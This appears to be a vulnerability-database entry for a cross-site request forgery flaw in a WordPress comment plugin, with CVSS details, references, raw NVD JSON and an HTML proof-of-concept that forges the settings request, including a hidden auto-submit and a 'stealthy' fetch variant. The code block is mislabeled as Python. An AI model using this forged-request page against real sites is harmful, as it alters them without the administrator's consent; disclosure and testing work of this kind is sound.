CVE-2026-9730

Description

The Remove NoFollow Commenter URL plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the gmz_comment_settings_save function. This makes it possible for unauthenticated attackers to modify the plugin's comment-display setting via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Remove NoFollow Commenter URL WordPress Plugin <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-9730 -->
<!-- This PoC exploits the missing nonce validation in gmz_comment_settings_save function -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit - CVE-2026-9730</title>
</head>
<body>
    <h1>CSRF Attack PoC for Remove NoFollow Commenter URL Plugin</h1>
    <p>Click the button below to trigger the forged request:</p>
    
    <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrfForm">
        <!-- Required WordPress admin-post parameters -->
        <input type="hidden" name="action" value="gmz_comment_settings_save">
        <!-- Plugin settings that will be modified -->
        <input type="hidden" name="gmz_nofollow_remove" value="1">
        <input type="hidden" name="gmz_settings_nonce" value="">
        <!-- Additional hidden fields that may be required -->
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=gmz-nofollow">
        <button type="submit" onclick="this.disabled=true; this.innerText='Submitting...';">Click Me</button>
    </form>
    
    <script>
        // Auto-submit form on page load (for demonstration purposes)
        // document.getElementById('csrfForm').submit();
        
        // Alternative: Use fetch API for more stealthy attack
        async function exploit() {
            const targetUrl = 'http://target-site.com/wp-admin/admin-post.php';
            const formData = new URLSearchParams();
            formData.append('action', 'gmz_comment_settings_save');
            formData.append('gmz_nofollow_remove', '1');
            formData.append('gmz_settings_nonce', '');
            
            // Note: This will only work if the admin is logged in
            // and visits this page (CSRF requires browser context)
            await fetch(targetUrl, {
                method: 'POST',
                mode: 'no-cors', // Use no-cors to avoid CORS issues
                body: formData
            });
            console.log('CSRF request sent');
        }
    </script>
    
    <p><strong>Note:</strong> This PoC is for educational and security testing purposes only.</p>
    <p><strong>Target:</strong> WordPress sites with Remove NoFollow Commenter URL plugin <= 1.0</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9730
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9730
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9730/
[4] VulDB https://vuldb.com/cve/CVE-2026-9730
[5] https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L24
[6] https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L32
[7] https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L42
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/c47e170f-f51e-400a-97f3-4da034c193a9?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9730", "sourceIdentifier": "[email protected]", "published": "2026-06-02T09:16:17.567", "lastModified": "2026-06-02T13:03:31.153", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Remove NoFollow Commenter URL plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the gmz_comment_settings_save function. This makes it possible for unauthenticated attackers to modify the plugin's comment-display setting via a forged request via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L24", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/remove-nofollow-commenter-link/tags/1.0/gmzxnofollow.php#L42", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c47e170f-f51e-400a-97f3-4da034c193a9?source=cve", "source": "[email protected]"}]}}